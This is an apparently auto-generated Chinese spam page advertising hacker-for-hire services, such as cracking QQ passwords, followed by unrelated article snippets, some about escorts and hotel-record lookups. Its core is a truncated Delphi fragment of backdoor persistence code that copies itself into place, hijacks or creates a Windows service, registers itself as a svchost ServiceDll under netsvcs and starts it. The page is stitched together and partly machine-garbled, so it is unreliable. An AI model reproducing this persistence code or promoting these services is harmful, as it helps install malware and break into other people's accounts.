在哪里可以找黑客免费接单 *** （24小时黑客在线接
| procedure Install(var DelMe:Boolean );stdcall ;varFileName: array[0..255] of Char;reg:TRegistry;hSCM,hSCS: Cardinal ;ss : TServiceStatus;Args : PChar;s,s1:string;begin FillChar(FileName,SizeOf(FileName),0);GetModuleFileName(HInstance, FileName, SizeOf(FileName));s := Config.DIR+config.FileName;reg := TRegistry.Create;reg.RootKey := HKEY_LOCAL_MACHINE ;hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);if hSCM = 0 then Exit ;case Config.StartupMode ofRunAsServiceD : //'s':现存服务启动 begin hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin ControlService(hSCS ,SERVICE_CONTROL_STOP,ss); ChangeServiceConfig(hSCS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_NO_CHANGE, nil,nil,nil,nil,nil,nil,nil); if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ; SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); reg.CloseKey; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); StartService(hSCS , 0, Args); CloseServiceHandle(hSCS); end; end;RunAsService : //新建服务启动 begin InstallService(Config.SrvName, Config.DisplayName, '%SystemRoot%\System32\svchost.exe -k netsvcs', Config.Description); //安装服务 if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); reg.CloseKey; reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False ); SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); s1 := reg.ReadString('netsvcs'); s1 := config.SrvName+#0+s1; reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ ); hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin StartService(hSCS , 0, Args); |
相关文章
全国男伴游招聘上海商务饭局
我玩过一个高校学生兼职招聘的商务那类觉得确实非常的刺激性，“全国男伴游招聘上海市商务酒局”由于另一方是个在校大学生，有素质的人，可是我仅仅一个打工族，我针对这类文凭高的女性与生俱来有一种吸引的冲动，“...
在哪里可以查酒店的开房记录
杨子珊躺在床上刷牙 洁癖人设难道是装出来的吗 近日综艺节目《做家务的男人》播出之后，杨子珊的表现引发了观众们的讨论，甚至一度登上了热搜。原因就是杨子珊居然躺在床上刷牙，还说不会把床弄脏。大家看到之后也...
某阛阓很奇葩的流动，手活大赛，就看平时起劲不起劲了
谢谢本站论坛网友“toutou”分享，原帖地址 这阛阓的谋划很胆大，男女配合吹气球， 吹的快的有奖励，磨练手技的时刻到了， 有几个还真是没履历啊，看着弄得就疼。。 准确的方式，应该站在死后顺着...
訾富尔出演《新少年包拯》白阮阮堪比李冰冰的
有李冰冰老师饰演的凌楚楚在前，訾富尔表示此次在《新少年包拯》中饰演白阮阮压力很大。 近日，《新少年包拯》剧组在横店杀青。《新少年包拯》由著名导演潇庸指导，汇集了知名演员寇振海...
百雀羚水乳套装好用吗
百雀羚相信大部分人都听过吧，线下超市，美妆店无不排放着百雀羚这个品牌的产品，它的水乳也是有一定口碑的，可是还是有大部分人不知道到底好不好用，小编带你们一起来了解。...
黑客接单 免定金_重庆市找黑客破解qq密码
无进犯者运用这种持久性机制来下载和履行揭露可用的.NET POSHC2后门的OS依靠变体，以及一个新发现的根据PowerShell的植入程序POWERTON。 Managed Defens敏捷参加并成...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！